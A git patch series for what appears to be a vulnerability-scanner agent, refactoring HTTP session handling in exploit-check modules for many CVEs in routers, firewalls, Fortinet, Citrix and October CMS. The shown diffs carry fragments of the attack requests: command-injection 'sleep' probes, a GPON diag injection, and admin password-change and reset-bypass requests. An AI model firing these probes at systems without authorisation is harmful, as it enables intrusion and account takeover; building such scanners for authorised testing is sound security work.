= MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False try: - resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT) + resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False server = resp.headers.get("server", "Unknown") @@ -70,8 +68,11 @@ def accept(self, target: definitions.Target) -> bool: return LOWER_VULNERABLE_VERSION <= target_version <= UPPER_VULNERABLE_VERSION def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False try: - resp = self.session.post( + resp = session.post( urlparse.urljoin(target.origin, TARGET_ENDPOINT), headers=HEADERS, data=PAYLOAD, diff --git a/agent/exploits/cve_2018_10561.py b/agent/exploits/cve_2018_10561.py index ca207971..2cc0524b 100644 --- a/agent/exploits/cve_2018_10561.py +++ b/agent/exploits/cve_2018_10561.py @@ -23,15 +23,13 @@ class CVE201810562Exploit(definitions.Exploit): """CVE-2018-10562: Dasan GPON Routers Command Injection Vulnerability.""" - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) + session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False @@ -39,6 +37,9 @@ def accept(self, target: definitions.Target) -> bool: return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" data = { "XWebPageName": "diag", @@ -50,12 +51,12 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } try: - self.session.post( + session.post( target_uri + "/GponForm/diag_Form?images/", data=data, timeout=DEFAULT_TIMEOUT, ) - response = self.session.get( + response = session.get( target_uri + "/diag.html?images/", timeout=DEFAULT_TIMEOUT, ) diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index cf7e07a4..ebaf47cd 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -27,20 +27,21 @@ class CVE201813382Exploit(definitions.Exploit): CVE-2018-13382 : An Improper Authorization vulnerability in Fortinet FortiOS. """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False try: url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" - r = self.session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT) + r = session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return False return r.status_code == 200 and "Please Login" in r.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en" # we are trying to change the password for the user : admin data = { @@ -53,9 +54,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "credential2": "ChangePassword", } try: - res = self.session.post( - url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT - ) + res = session.post(url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2018_14558.py b/agent/exploits/cve_2018_14558.py index 6de43b35..26dabe51 100644 --- a/agent/exploits/cve_2018_14558.py +++ b/agent/exploits/cve_2018_14558.py @@ -28,23 +28,23 @@ class CVE201814558Exploit(definitions.Exploit): """CVE-2018-14558: Tenda AC7, AC9, and AC10 Routers Command Injection Vulnerability""" - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS target_uri = f"{target.scheme}://{target.host}:{target.port}" for delay in DELAYS: try: - resp = self.session.get(target_uri + TARGET_PATH + f"sleep {delay}") + resp = session.get(target_uri + TARGET_PATH + f"sleep {delay}") except requests_exceptions.RequestException: return [] elapsed = resp.elapsed.seconds diff --git a/agent/exploits/cve_2018_14667.py b/agent/exploits/cve_2018_14667.py index 75910055..ef6dab82 100644 --- a/agent/exploits/cve_2018_14667.py +++ b/agent/exploits/cve_2018_14667.py @@ -33,15 +33,11 @@ class CVE201814667Exploit(definitions.Exploit): CVE-2018-14667: Red Hat JBoss RichFaces Framework Expression Language Injection Vulnerability """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS try: - resp = self.session.get( - target.origin, verify=False, timeout=DEFAULT_TIMEOUT - ) + resp = session.get(target.origin, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False @@ -53,12 +49,14 @@ def accept(self, target: definitions.Target) -> bool: return JST_PATTERN.search(jsf_header) is not None def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: - resp = self.session.get( - target.origin, - timeout=DEFAULT_TIMEOUT, - ) - - if resp.status_code != 200: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + try: + resp = session.get( + target.origin, + timeout=DEFAULT_TIMEOUT, + ) + except requests.exceptions.RequestException: return [] version_match = VERSION_PATTERN.search(resp.text) diff --git a/agent/exploits/cve_2018_7841.py b/agent/exploits/cve_2018_7841.py index 068c3991..41431f47 100644 --- a/agent/exploits/cve_2018_7841.py +++ b/agent/exploits/cve_2018_7841.py @@ -27,25 +27,25 @@ class CVE20187841Exploit(definitions.Exploit): CVE-2018-7841: Schneider Electric U.motion Builder SQL Injection Vulnerability """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = self.session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS target_uri = f"{target.scheme}://{target.host}:{target.port}" for delay in DELAYS: data = f"op=export&language=english&interval=1&object_id=`sleep {delay}`" try: - resp = self.session.post( + resp = session.post( target_uri + TARGET_ENDPOINT, timeout=DEFAULT_TIMEOUT, data=data, diff --git a/agent/exploits/cve_2019_12989__cve_2019_12991.py b/agent/exploits/cve_2019_12989__cve_2019_12991.py index 7866f84c..ed0dcc68 100644 --- a/agent/exploits/cve_2019_12989__cve_2019_12991.py +++ b/agent/exploits/cve_2019_12989__cve_2019_12991.py @@ -27,20 +27,21 @@ class CVE201912989Exploit(definitions.Exploit): CVE-2019-12989 and CVE-2019-12991 : Security Vulnerabilities in Citrix SD-WAN . """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) + session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False url = ( f"{target.scheme}://{target.host}:{target.port}" f"/sdwan/nitro/v1/config/get_package_file?action=file_download" @@ -58,9 +59,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: } } try: - r = self.session.post( - url, headers=HEADERS, json=json, timeout=DEFAULT_TIMEOUT - ) + r = session.post(url, headers=HEADERS, json=json, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException as e: logger.error("Error : %s", e) return [] diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py index 62c03b25..8c25a88a 100644 --- a/agent/exploits/cve_2019_7193.py +++ b/agent/exploits/cve_2019_7193.py @@ -28,42 +28,46 @@ class CVE20197193Exploit(definitions.Exploit): CVE-2019-7193: QNAP QTS Improper Input Validation Vulnerability """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = self.session.get(target_uri + "/cgi-bin/", timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri + "/cgi-bin/", timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" - - # Get album id - resp = self.session.post( - target_uri + "/photo/p/api/album.php", - data={"a": "setSlideshow", "f": "qsamplealbum"}, - headers=HEADERS, - timeout=DEFAULT_TIMEOUT, - ) - if resp.status_code != 200: + try: + # Get album id + resp = session.post( + target_uri + "/photo/p/api/album.php", + data={"a": "setSlideshow", "f": "qsamplealbum"}, + headers=HEADERS, + timeout=DEFAULT_TIMEOUT, + ) + except requests.exceptions.RequestException: return [] album_match = re.search("(?<=).*?(?=)", resp.text) if album_match is None: return [] album_id = album_match.group() - # Get access code - resp = self.session.get( - target_uri + "/photo/slideshow.php?album=" + album_id, - headers=HEADERS, - timeout=DEFAULT_TIMEOUT, - ) + try: + # Get access code + resp = session.get( + target_uri + "/photo/slideshow.php?album=" + album_id, + headers=HEADERS, + timeout=DEFAULT_TIMEOUT, + ) + except requests.exceptions.TooManyRedirects: + return [] if resp.status_code != 200: return [] access_match = re.search("(?<=encodeURIComponent\\(').*?(?=')", resp.text) @@ -79,12 +83,16 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "f": "UMGObv", "filename": TARGET_FILE, } - resp = self.session.post( - target_uri + "/photo/p/api/video.php", - data=post_data, - headers=HEADERS, - timeout=DEFAULT_TIMEOUT, - ) + try: + resp = session.post( + target_uri + "/photo/p/api/video.php", + data=post_data, + headers=HEADERS, + timeout=DEFAULT_TIMEOUT, + ) + except requests.exceptions.TooManyRedirects: + return [] + if b"/bin/sh" not in resp.content: return [] diff --git a/agent/exploits/cve_2021_22941.py b/agent/exploits/cve_2021_22941.py index d44ea0c3..26a2e3ab 100644 --- a/agent/exploits/cve_2021_22941.py +++ b/agent/exploits/cve_2021_22941.py @@ -37,20 +37,21 @@ def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]: class CVE20212941Exploit(definitions.Exploit): """CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller.""" - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - req = self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) + req = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return "ShareFile" in req.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}" content_file = "A" * 4096 files = {"name": "text4", "filename": "text5", "content_file": content_file} @@ -63,14 +64,14 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: "accountid": "123", } try: - self.session.post( + session.post( target_uri + "/upload.aspx", data=data, params=params, headers=headers, timeout=DEFAULT_TIMEOUT, ) - req = self.session.get( + req = session.get( target_uri + "/configservice/Home/Error", timeout=DEFAULT_TIMEOUT, ) diff --git a/agent/exploits/cve_2021_32648.py b/agent/exploits/cve_2021_32648.py index 11de30f6..42e7352e 100644 --- a/agent/exploits/cve_2021_32648.py +++ b/agent/exploits/cve_2021_32648.py @@ -32,15 +32,12 @@ class CVE202132648Exploit(definitions.Exploit): October CMS Improper Authentication: CVE-2021-32648. """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.verify = False - self.session.max_redirects = MAX_REDIRECTS - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS try: url = f"{target.scheme}://{target.host}:{target.port}" - r = self.session.get(url, timeout=DEFAULT_TIMEOUT) + r = session.get(url, timeout=DEFAULT_TIMEOUT) except requests.exceptions.RequestException: return False return r.status_code == 200 and "october_session" in r.headers.get( @@ -62,8 +59,14 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: def _get_csrf(self, url: str) -> Optional[str]: """Connect to Host and read the CSRF token so we can use it in POSTS""" + session = requests.Session() + session.max_redirects = MAX_REDIRECTS csrf_pattern = b'' - csrf_request = self.session.get(f"{url}{RESET_PATH}") + try: + csrf_request = session.get(f"{url}{RESET_PATH}") + except requests.exceptions.RequestException: + return None + if csrf_request.status_code == 200: match = re.search(csrf_pattern, csrf_request.content) if match is not None: @@ -73,12 +76,14 @@ def _get_csrf(self, url: str) -> Optional[str]: def _trigger_reset(self, url: str) -> bool: """Trigger a Password Reset Request for the admin account""" + session = requests.Session() + session.max_redirects = MAX_REDIRECTS reset_url = f"{url}{RESET_PATH}" csrf_token = self._get_csrf(url) if csrf_token is not None: post_data = {"_token": csrf_token, "postback": 1, "login": "admin"} try: - reset_request = self.session.post( + reset_request = session.post( reset_url, data=post_data, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException: @@ -90,6 +95,8 @@ def _trigger_reset(self, url: str) -> bool: def _login_attempt(self, url: str) -> bool: """checks if we can log in with the admin account.""" + session = requests.Session() + session.max_redirects = MAX_REDIRECTS login_url = f"{url}{SIGNIN_PATH}" csrf_token = self._get_csrf(url) if csrf_token is not None: @@ -100,7 +107,7 @@ def _login_attempt(self, url: str) -> bool: "password": "changePassword", } try: - login_request = self.session.post( + login_request = session.post( login_url, data=post_data, timeout=DEFAULT_TIMEOUT ) except requests.exceptions.RequestException: @@ -115,7 +122,8 @@ def _login_attempt(self, url: str) -> bool: def _set_password(self, url: str) -> bool: """Send a request to set the admin password that will bypass the token checking""" - + session = requests.Session() + session.max_redirects = MAX_REDIRECTS # Generate a random string of len 42 to spoof a reset token chars = string.ascii_uppercase + string.digits + string.ascii_lowercase random_string = "".join(random.choice(chars) for _ in range(42)) @@ -130,7 +138,7 @@ def _set_password(self, url: str) -> bool: "password": "changePassword", } try: - reset_request = self.session.post( + reset_request = session.post( reset_url, verify=False, headers={"Content-Type": "application/json"}, diff --git a/agent/exploits/cve_2022_26318.py b/agent/exploits/cve_2022_26318.py index 89eddbe7..fed24158 100644 --- a/agent/exploits/cve_2022_26318.py +++ b/agent/exploits/cve_2022_26318.py @@ -27,27 +27,28 @@ class CVE202226318Exploit(definitions.Exploit): CVE-2022_26318": WatchGuard Firebox and XTM Appliances Arbitrary Code Execution """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - self.session.get(target_uri + "/agent/login", timeout=DEFAULT_TIMEOUT) + session.get(target_uri + "/agent/login", timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return True def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" payload = self._build_payload() headers = { "Content-Encoding": "gzip", } try: - response = self.session.post( + response = session.post( target_uri + "/agent/login", headers=headers, data=payload, diff --git a/agent/exploits/cve_2023_1389.py b/agent/exploits/cve_2023_1389.py index a0462841..6c768ba1 100644 --- a/agent/exploits/cve_2023_1389.py +++ b/agent/exploits/cve_2023_1389.py @@ -25,23 +25,24 @@ class CVE20231389Exploit(definitions.Exploit): """CVE-2023-1389: Remote Code Execution in TP-Link AX21.""" - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}/cgi-bin/luci/" try: - response = self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) + response = session.get(target_uri, timeout=DEFAULT_TIMEOUT) return response.status_code == 200 except requests_exceptions.RequestException: return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - response = self.session.get( + response = session.get( target_uri + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(notfound)", timeout=DEFAULT_TIMEOUT, @@ -50,7 +51,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: if response.status_code == 500: vulnerability = self._generate_vulnerability_object(target_uri) return [vulnerability] - except requests_exceptions.RequestException: return [] diff --git a/agent/exploits/cve_2023_22518.py b/agent/exploits/cve_2023_22518.py index f15d112c..ac35ce89 100644 --- a/agent/exploits/cve_2023_22518.py +++ b/agent/exploits/cve_2023_22518.py @@ -48,13 +48,11 @@ class CVE202322518Exploit(definitions.Exploit): CVE-2023-22518: Improper Authorization Vulnerability In Confluence Data Center and Server """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS try: - resp = self.session.get( + resp = session.get( urlparse.urljoin(target.origin, ACCEPT_ENDPOINT), verify=False, timeout=DEFAULT_TIMEOUT, @@ -72,13 +70,15 @@ def accept(self, target: definitions.Target) -> bool: return False def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS files = { "buildIndex": (None, "false"), "edit": (None, "Upload and import"), "file": ("ZIP_DATA", io.BytesIO(b"\x00"), "application/zip"), } try: - resp = self.session.post( + resp = session.post( urlparse.urljoin(target.origin, CHECK_ENDPOINT), files=files, # type: ignore headers=HEADERS, diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py index f1f917de..b8c02cc9 100644 --- a/agent/exploits/cve_2023_27997.py +++ b/agent/exploits/cve_2023_27997.py @@ -68,15 +68,13 @@ def _check_stats(regular: list[int], overflow: list[int]) -> tuple[int, int, Any class CVE202327997Exploit(definitions.Exploit): """CVE-2021-22941: A heap-based buffer overflow vulnerability in FortiOS.""" - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}:{target.port}" try: - req = self.session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT) + req = session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT) reg = re.compile("salt='([0-9a-f]{8})'") matches = reg.findall(req.text) except requests_exceptions.RequestException: @@ -84,8 +82,14 @@ def accept(self, target: definitions.Target) -> bool: return len(matches) == 1 def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" - r = self.session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT) + try: + r = session.get(target_uri + "/remote/info", timeout=DEFAULT_TIMEOUT) + except requests_exceptions.RequestException: + return [] reg = re.compile("salt='([0-9a-f]{8})'") matches = reg.findall(r.text) salt = matches[0].encode() @@ -99,14 +103,20 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: regular = [] for i in range(REQUESTS_PER_GROUP): - req1 = _make_request( - self.session, target_uri, salt, alloc_size, alloc_size + 0xF0 - ) + try: + req1 = _make_request( + session, target_uri, salt, alloc_size, alloc_size + 0xF0 + ) + except requests_exceptions.RequestException: + return [] overflow.append(req1.elapsed.microseconds) - req2 = _make_request( - self.session, target_uri, salt, alloc_size, alloc_size // 2 - ) + try: + req2 = _make_request( + session, target_uri, salt, alloc_size, alloc_size // 2 + ) + except requests_exceptions.RequestException: + return [] regular.append(req2.elapsed.microseconds) if i > 20 and i % 10 == 0: diff --git a/agent/exploits/cve_2023_36845.py b/agent/exploits/cve_2023_36845.py index 5f15e4e5..22c7df00 100644 --- a/agent/exploits/cve_2023_36845.py +++ b/agent/exploits/cve_2023_36845.py @@ -44,24 +44,25 @@ class CVE202336845Exploit(definitions.Exploit): CVE-2023–36845: Juniper Junos OS EX Series and SRX Series PHP External Variable Modification Vulnerability """ - def __init__(self) -> None: - self.session = requests.Session() - self.session.max_redirects = MAX_REDIRECTS - self.session.verify = False - def accept(self, target: definitions.Target) -> bool: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = self.session.get(target_uri, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 and JUNIPER_KEYWORD in resp.text def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = self.session.post(target_uri, files=PAYLOAD, timeout=DEFAULT_TIMEOUT) + resp = session.post(target_uri, files=PAYLOAD, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return [] From 8740eaf9457822453ce584b07b6474ebe42ccb3f Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Wed, 20 Dec 2023 13:41:07 +0100 Subject: [PATCH 07/11] Init the session in the execution of the rule. --- agent/asteroid_agent.py | 1 + 1 file changed, 1 insertion(+) diff --git a/agent/asteroid_agent.py b/agent/asteroid_agent.py index 60f9052a..875a4857 100644 --- a/agent/asteroid_agent.py +++ b/agent/asteroid_agent.py @@ -65,6 +65,7 @@ def process(self, message: m.Message) -> None: for target in targets for exploit in self.exploits ] + for target_vulnz in futures.as_completed(targets_checks): for vulnerability in target_vulnz.result(): self.report_vulnerability( From f039bcdf0161161fa6fe17328d6bb423accd9186 Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Wed, 20 Dec 2023 13:43:03 +0100 Subject: [PATCH 08/11] Init the session in the execution of the rule. --- agent/exploits/cve_2018_14667.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/agent/exploits/cve_2018_14667.py b/agent/exploits/cve_2018_14667.py index ef6dab82..6af412cb 100644 --- a/agent/exploits/cve_2018_14667.py +++ b/agent/exploits/cve_2018_14667.py @@ -59,6 +59,9 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: except requests.exceptions.RequestException: return [] + if resp.status_code != 200: + return [] + version_match = VERSION_PATTERN.search(resp.text) if version_match is None: return [] From 1dffd53042b48bfd9ebc59e4eb88a8d4855b009c Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Wed, 20 Dec 2023 13:44:43 +0100 Subject: [PATCH 09/11] Init the session in the execution of the rule. --- tests/exploits/cve_2014_0780_test.py | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/exploits/cve_2014_0780_test.py b/tests/exploits/cve_2014_0780_test.py index f4b8c46e..ea49ab1b 100644 --- a/tests/exploits/cve_2014_0780_test.py +++ b/tests/exploits/cve_2014_0780_test.py @@ -1,4 +1,5 @@ """Unit tests for Agent Asteriod: CVE-2014_0780.""" + import requests_mock as req_mock from agent import definitions From d46394837bab70c3759ea529fbae543ed015a036 Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Wed, 20 Dec 2023 16:29:21 +0100 Subject: [PATCH 10/11] Use requests_exceptions.RequestException --- agent/exploits/cve_2019_7193.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py index 8c25a88a..6822ea35 100644 --- a/agent/exploits/cve_2019_7193.py +++ b/agent/exploits/cve_2019_7193.py @@ -66,7 +66,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: headers=HEADERS, timeout=DEFAULT_TIMEOUT, ) - except requests.exceptions.TooManyRedirects: + except requests.exceptions.RequestException: return [] if resp.status_code != 200: return [] From 3575a92edcf8813654a72ae677f0de360146080f Mon Sep 17 00:00:00 2001 From: Mohamed Elyousfi Date: Wed, 20 Dec 2023 18:14:55 +0100 Subject: [PATCH 11/11] Refactor --- agent/exploits/cve_2014_7169.py | 3 ++- agent/exploits/cve_2018_14558.py | 3 ++- agent/exploits/cve_2018_14667.py | 3 ++- agent/exploits/cve_2018_7841.py | 3 ++- agent/exploits/cve_2023_22518.py | 2 +- tests/asteroid_agent_test.py | 6 +++--- 6 files changed, 12 insertions(+), 8 deletions(-) diff --git a/agent/exploits/cve_2014_7169.py b/agent/exploits/cve_2014_7169.py index ece45544..c13f81e6 100644 --- a/agent/exploits/cve_2014_7169.py +++ b/agent/exploits/cve_2014_7169.py @@ -35,11 +35,12 @@ class CVE20147169Exploit(definitions.Exploit): def accept(self, target: definitions.Target) -> bool: session = requests.Session() session.max_redirects = MAX_REDIRECTS + session.verify = False if target.path.endswith(".cgi") is False: return False target_uri = f"{target.scheme}://{target.host}:{target.port}{target.path}" try: - resp = session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 diff --git a/agent/exploits/cve_2018_14558.py b/agent/exploits/cve_2018_14558.py index 26dabe51..2702852e 100644 --- a/agent/exploits/cve_2018_14558.py +++ b/agent/exploits/cve_2018_14558.py @@ -31,9 +31,10 @@ class CVE201814558Exploit(definitions.Exploit): def accept(self, target: definitions.Target) -> bool: session = requests.Session() session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 diff --git a/agent/exploits/cve_2018_14667.py b/agent/exploits/cve_2018_14667.py index 6af412cb..6eb2357d 100644 --- a/agent/exploits/cve_2018_14667.py +++ b/agent/exploits/cve_2018_14667.py @@ -36,8 +36,9 @@ class CVE201814667Exploit(definitions.Exploit): def accept(self, target: definitions.Target) -> bool: session = requests.Session() session.max_redirects = MAX_REDIRECTS + session.verify = False try: - resp = session.get(target.origin, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False diff --git a/agent/exploits/cve_2018_7841.py b/agent/exploits/cve_2018_7841.py index 41431f47..5ed9a523 100644 --- a/agent/exploits/cve_2018_7841.py +++ b/agent/exploits/cve_2018_7841.py @@ -30,9 +30,10 @@ class CVE20187841Exploit(definitions.Exploit): def accept(self, target: definitions.Target) -> bool: session = requests.Session() session.max_redirects = MAX_REDIRECTS + session.verify = False target_uri = f"{target.scheme}://{target.host}:{target.port}" try: - resp = session.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT) + resp = session.get(target_uri, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False return resp.status_code == 200 diff --git a/agent/exploits/cve_2023_22518.py b/agent/exploits/cve_2023_22518.py index ac35ce89..02ba4fc9 100644 --- a/agent/exploits/cve_2023_22518.py +++ b/agent/exploits/cve_2023_22518.py @@ -51,10 +51,10 @@ class CVE202322518Exploit(definitions.Exploit): def accept(self, target: definitions.Target) -> bool: session = requests.Session() session.max_redirects = MAX_REDIRECTS + session.verify = False try: resp = session.get( urlparse.urljoin(target.origin, ACCEPT_ENDPOINT), - verify=False, timeout=DEFAULT_TIMEOUT, ) except requests_exceptions.RequestException: diff --git a/tests/asteroid_agent_test.py b/tests/asteroid_agent_test.py index 1853637e..a5fb45fe 100644 --- a/tests/asteroid_agent_test.py +++ b/tests/asteroid_agent_test.py @@ -1,5 +1,5 @@ """Unit tests for AsteroidAgent.""" -from typing import Type, Generator +from typing import Type, Iterator from ostorlab.agent.message import message as m @@ -8,7 +8,7 @@ def testAsteroidAgent_whenExploitCheckDetectVulnz_EmitsVulnerabilityReport( - exploit_instance_with_report: Generator[Type[definitions.Exploit], None, None], + exploit_instance_with_report: Iterator[Type[definitions.Exploit]], asteroid_agent_instance: asteroid_agent.AsteroidAgent, agent_mock: list[m.Message], scan_message_domain_name: m.Message, @@ -22,7 +22,7 @@ def 